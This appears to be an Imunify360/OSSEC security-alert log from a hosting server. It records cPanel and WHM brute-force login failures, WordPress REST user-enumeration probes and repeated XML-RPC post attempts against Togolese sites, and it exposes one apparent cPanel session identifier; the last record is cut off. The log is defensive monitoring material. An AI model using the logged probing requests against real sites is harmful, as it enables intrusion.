# incident

plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.255.34.226
country_id: 3469034
description:
[2026-06-26 13:15:01 +0000] info [cpaneld] 131.255.34.226 - tp "GET /login/?login_only=1&user=tp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.85.45.2
country_id: 3437598
description:
[2026-06-26 13:14:48 +0000] info [cpaneld] 200.85.45.2 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.53.205.25
country_id: 3469034
description:
[2026-06-26 13:15:43 +0000] info [cpaneld] 200.53.205.25 - vit "GET /login/?login_only=1&user=vit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.154.122.183
country_id: 3996063
description:
[2026-06-26 13:15:18 +0000] info [cpaneld] 187.154.122.183 - vitrinenews "GET /login/?login_only=1&user=vitrinenews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrinenews (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.81.108.169
country_id: 3469034
description:
[2026-06-26 13:15:24 +0000] info [cpaneld] 170.81.108.169 - vitrinenewstg "GET /login/?login_only=1&user=vitrinenewstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrinenewstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.124.30.178
country_id: 3469034
description:
[2026-06-26 13:15:31 +0000] info [cpaneld] 177.124.30.178 - vitrine "GET /login/?login_only=1&user=vitrine&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitrine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.99.234.239
country_id: 2589581
description:
[2026-06-26 13:15:40 +0000] info [cpaneld] 105.99.234.239 - vitr "GET /login/?login_only=1&user=vitr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vitr (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.182
country_id: 3017382
description:
[2026-06-26 13:19:56 +0000] info [cpaneld] 5.231.64.182 NEW wcnyaruu:YwO6g1iyf3S5HQBf address=5.231.64.182,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-26 13:21:01 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:43212: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.232.222.55
country_id: 2802361
description:
104.232.222.55 - - [26/Jun/2026:13:20:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12897180&pdata=https%253A%252F%252Fleadelles.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782480051 HTTP/2.0" 302 0 leadelles.tg "https://leadelles.tg/" "Mozilla/5.0 (Linux; Android 12; moto g41 Build/S3RWS32.138-29-5-5; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Mobile Safari/537.36 musical_ly_2023109030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/31.9.3 ByteLocale/es ByteFullLocale/es Region/MX AppId/1233 Spark/1.4.3.5-bugfix AppVersion/31.9.3 BytedanceWebview/d8a21c6" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.232.222.55


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.217.227
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:38.154.217.227||TA:38.154.217.227||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.149.223.22
country_id: 6252001
description:
[2026-06-26 13:27:09 +0000] info [cpaneld] 35.149.223.22 - antasadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.254.124
country_id: 3017382
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:148.135.254.124||TA:148.135.254.124||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.169.22.64
country_id: 6252001
description:
[2026-06-26 13:27:05 +0000] info [whostmgrd] 174.169.22.64 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.84.65.151
country_id: 6252001
description:
[2026-06-26 13:27:09 +0000] info [whostmgrd] 72.84.65.151 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.191.136
country_id: 3017382
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:148.135.191.136||TA:148.135.191.136||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.70.198
country_id: 6252001
description:
[2026-06-26 13:27:52 +0000] info [cpaneld] 172.59.70.198 - belal "GET /login/?login_only=1&user=belal&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user belal (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.183.147.84
country_id: 6252001
description:
[2026-06-26 13:27:12 +0000] info [whostmgrd] 24.183.147.84 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.242.202.180
country_id: 3190538
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:209.242.202.180||TA:209.242.202.180||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.8.36.51
country_id: 6252001
description:
[2026-06-26 13:27:20 +0000] info [cpaneld] 67.8.36.51 - antasadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.103.229.254
country_id: 2635167
description:
[2026-06-26 13:28:30 +0000] info [whostmgrd] 212.103.229.254 - kwbcfbmo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.171.146
country_id: 2363686
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/index.php/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 47.31.126.123
country_id: 1269750
domain: zephyr.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:84337.zephyr.tg||ServerName:zephyr.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:660ab5d3c479219b516786144580a6ab953dd78d||Title:cs0hjt9g8wqlc3uc39||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 47.31.126.123
country_id: 1269750
domain: zephyr.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Identifiant ou mot de passe incorrect.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.99.249
country_id: 1880251
domain: civilemagazine.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.204.243.91
country_id: 6252001
description:
[2026-06-26 13:33:32 +0000] info [cpaneld] 97.204.243.91 - togointeri "GET /login/?login_only=1&user=togointeri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointeri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.21.7.199
country_id: 6252001
description:
[2026-06-26 13:33:35 +0000] info [cpaneld] 72.21.7.199 - togointer "GET /login/?login_only=1&user=togointer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.69.57.209
country_id: 6252001
description:
[2026-06-26 13:33:51 +0000] info [cpaneld] 173.69.57.209 - togoi "GET /login/?login_only=1&user=togoi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.110.82.89
country_id: 6252001
description:
[2026-06-26 13:34:00 +0000] info [cpaneld] 46.110.82.89 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.103.229.254
country_id: 2635167
description:
[2026-06-26 13:34:42 +0000] info [cpaneld] 212.103.229.254 - NS4 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user NS4 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.122.71.169
country_id: 3437598
description:
[2026-06-26 13:35:56 +0000] info [cpaneld] 181.122.71.169 - caissede "GET /login/?login_only=1&user=caissede&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissede (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.35.169.177
country_id: 2017370
description:
[2026-06-26 13:35:59 +0000] info [cpaneld] 212.35.169.177 - caissed "GET /login/?login_only=1&user=caissed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.19.38.48
country_id: 2921044
description:
[2026-06-26 13:36:17 +0000] info [cpaneld] 134.19.38.48 - cai "GET /login/?login_only=1&user=cai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cai (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.131
country_id: 1880251
description:
47.128.96.131 - - [26/Jun/2026:13:36:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131298&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvaccination-covid-19-en-france%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782481015 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vaccination-covid-19-en-france/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.131


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.175
country_id: 1880251
description:
43.173.180.175 - - [26/Jun/2026:13:38:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9736813&pdata=http%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F14734&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782481082 HTTP/1.1" 404 561 togodailynews.tg "http://togodailynews.tg/wp-json/wp/v2/posts/14734" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.175


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.179
country_id: 3175395
description:
Jun 26 13:38:40 ns5 auth[393837]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.179 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.173.130.13
country_id: 3996063
description:
[2026-06-26 13:39:10 +0000] info [cpaneld] 187.173.130.13 - dkfo "GET /login/?login_only=1&user=dkfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfo (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:80256.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3450889e287d0e15c6b6033b02612abd283dfdf2||Title:0xf5eeee76||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.134.25.197
country_id: 1210997
description:
[2026-06-26 13:38:53 +0000] info [cpaneld] 103.134.25.197 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.138.23.18
country_id: 2017370
description:
[2026-06-26 13:38:57 +0000] info [cpaneld] 46.138.23.18 - dkfood "GET /login/?login_only=1&user=dkfood&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfood (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.174.98.196
country_id: 2017370
description:
[2026-06-26 13:39:00 +0000] info [cpaneld] 95.174.98.196 - dkfoodtg "GET /login/?login_only=1&user=dkfoodtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfoodtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.224.95.145
country_id: 99237
description:
[2026-06-26 13:39:06 +0000] info [cpaneld] 169.224.95.145 - dkfoo "GET /login/?login_only=1&user=dkfoo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkfoo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.193.201.89
country_id: 3469034
description:
[2026-06-26 13:39:14 +0000] info [cpaneld] 186.193.201.89 - dkf "GET /login/?login_only=1&user=dkf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dkf (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.124.180
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.239.124.180||TA:104.239.124.180||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.90.147.245
country_id: 953987
description:
[2026-06-26 13:39:21 +0000] info [cpaneld] 197.90.147.245 - dk "GET /login/?login_only=1&user=dk&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dk (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.131.101.160
country_id: 458258
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:45.131.101.160||TA:45.131.101.160||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d351176cf44b7877fabf3b9fff430a8fb1db84c5||Title:0x627096b6||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.196.212
country_id: 3017382
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.252.196.212||TA:104.252.196.212||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.124.165.40
country_id: 783754
description:
[2026-06-26 13:41:42 +0000] info [cpaneld] 103.124.165.40 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.91.129
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.253.91.129||TA:104.253.91.129||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:843e266046a5e1459234d402fa5c5e945715b95c||Title:0x63ca144c||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.143.224.197
country_id: 2635167
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:104.143.224.197||TA:104.143.224.197||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.60.98.183
country_id: 6252001
description:
[2026-06-26 13:42:47 +0000] info [cpaneld] 24.60.98.183 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.98.218.118
country_id: 6252001
description:
[2026-06-26 13:42:53 +0000] info [cpaneld] 24.98.218.118 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.216.121.231
country_id: 6252001
description:
[2026-06-26 13:43:01 +0000] info [cpaneld] 173.216.121.231 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.124.165.40
country_id: 783754
description:
[2026-06-26 13:42:17 +0000] info [cpaneld] 103.124.165.40 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.11.173.35
country_id: 6252001
description:
[2026-06-26 13:42:50 +0000] info [cpaneld] 100.11.173.35 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:08c914274db5e28ec411be1c2f05fbf7cd9335cc||Title:0x740bfb5e||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:607120a9074bec77a994a7385e7ac6ebc09ab4f5||Title:0x55c7f667||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.15
country_id: 6252001
description:
205.169.39.15 - - [26/Jun/2026:13:43:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262474&pdata=http%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782481408 HTTP/1.1" 302 0 c2ie.tg "http://c2ie.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.15


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.24.60.129
country_id: 99237
description:
185.24.60.129 - - [26/Jun/2026:13:44:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119831&pdata=https%253A%252F%252Fcpanel.maquette-mpa.free.netmaster.tg%252F%253Flocale%253Dda&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782481457 HTTP/2.0" 302 0 cpanel.maquette-mpa.free.netmaster.tg "https://cpanel.maquette-mpa.free.netmaster.tg/?locale=da" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.24.60.129


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d2f254c51668643e3b2f86be44c513e4dc469972||Title:0x9ef277d9||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8f8edf09702d95ce93bc0d8dda3141944171f858||Title:0xe662ba68||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.127.250.144
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:45.127.250.144||TA:45.127.250.144||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.248.22.98
country_id: 6252001
description:
[2026-06-26 13:46:46 +0000] info [cpaneld] 75.248.22.98 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4b831c17cd07c2ad5cb3bb9b0915275d25ba6f05||Title:0x667d8efa||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.248.172.64
country_id: 2921044
description:
[2026-06-26 13:46:48 +0000] info [cpaneld] 91.248.172.64 - wag "GET /login/?login_only=1&user=wag&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wag (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.112.6.143
country_id: 3865483
description:
[2026-06-26 13:46:53 +0000] info [cpaneld] 190.112.6.143 - wa "GET /login/?login_only=1&user=wa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.36.250.61
country_id: 6252001
description:
[2026-06-26 13:46:24 +0000] info [cpaneld] 100.36.250.61 - mesyscomcom "GET /login/?login_only=1&user=mesyscomcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscomcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.185.74.144
country_id: 6252001
description:
[2026-06-26 13:46:28 +0000] info [cpaneld] 97.185.74.144 - mesysco "GET /login/?login_only=1&user=mesysco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.137.134.190
country_id: 3686110
description:
[2026-06-26 13:46:34 +0000] info [cpaneld] 181.137.134.190 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.84.149.40
country_id: 6252001
description:
[2026-06-26 13:46:39 +0000] info [cpaneld] 75.84.149.40 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.231.207.99
country_id: 1562822
description:
[2026-06-26 13:46:45 +0000] info [cpaneld] 171.231.207.99 - wage "GET /login/?login_only=1&user=wage&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wage (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dd43de5bf1da632b659dc4b3e5b18a40138316fa||Title:0x283d0826||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7d72ec5b92c5bb2a4b74b63283dded1be9d87e68||Title:0xb54ff71f||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.254
country_id: 1880251
description:
43.173.180.254 - - [26/Jun/2026:13:49:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170148&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Fautonomisation-financiere-a-la-jeune-femme-t-lyna%252Ffeed%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782481757 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/autonomisation-financiere-a-la-jeune-femme-t-lyna/feed/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.254


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.106.250.156
country_id: 3469034
domain: misstogo.tg
description:
